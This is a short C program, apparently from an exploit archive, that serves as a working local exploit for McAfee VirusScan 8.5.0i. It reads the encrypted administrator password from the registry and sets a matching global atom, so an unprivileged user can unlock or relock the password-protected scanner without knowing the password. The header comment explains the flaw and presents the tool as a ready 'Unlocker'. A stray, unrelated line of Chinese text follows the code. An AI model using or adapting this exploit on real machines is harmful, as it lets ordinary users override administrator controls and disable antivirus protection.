/*************************************************************************** * * McAfee VirusScan 8.5.0i local exploitable issue - McAfee Unlocker * * by Bendi [zbendi gmail.com] * * McAfee VirusScan 8.5.0i can be locked with password by admin ... * and unlocked withount it ! * * Encrypted password is in registry but not accessible in writing. * Once admin has unlocked McAffe, a global Atom is set with "UIP-" * and the encrypted key as name. * Basic user can take admin privilege with manually set * the global atom. It's what this code do ! * ************************************************************************/ #include int WINAPI WinMain (HINSTANCE hThisInstance, HINSTANCE hPrevInstance, LPSTR lpszArgument, int nFunsterStil) { HKEY HkDesktopProtection; char sUIP[256]="UIP-"; DWORD dSizesUip = sizeof(sUIP); ATOM GlobalAtom; DWORD iInstallErr; iInstallErr = RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\McAfee\\DesktopProtection", 0, KEY_READ, &HkDesktopProtection); if(iInstallErr==ERROR_SUCCESS) { iInstallErr = RegQueryValueEx( HkDesktopProtection, "UIP", NULL, NULL, (BYTE *)&sUIP+4, &dSizesUip); if(iInstallErr==ERROR_SUCCESS) { GlobalAtom = GlobalFindAtom(sUIP); if(GlobalAtom) { GlobalDeleteAtom(GlobalAtom); MessageBox(NULL, "McAfee is now locked !", "McAfee Unlocker", MB_OK|MB_ICONINFORMATION); } else { GlobalAddAtom(sUIP); MessageBox(NULL, "McAfee is now unlocked :-)!", "McAfee Unlocker", MB_OK|MB_ICONINFORMATION); } } else { iInstallErr=TRUE; } RegCloseKey(HkDesktopProtection); } if(iInstallErr!=ERROR_SUCCESS) { MessageBox(NULL, "McAfee 8.5.0i is not found !", "McAfee Unlocker", MB_OK|MB_ICONWARNING); } return 0; }

亚洲欧美在线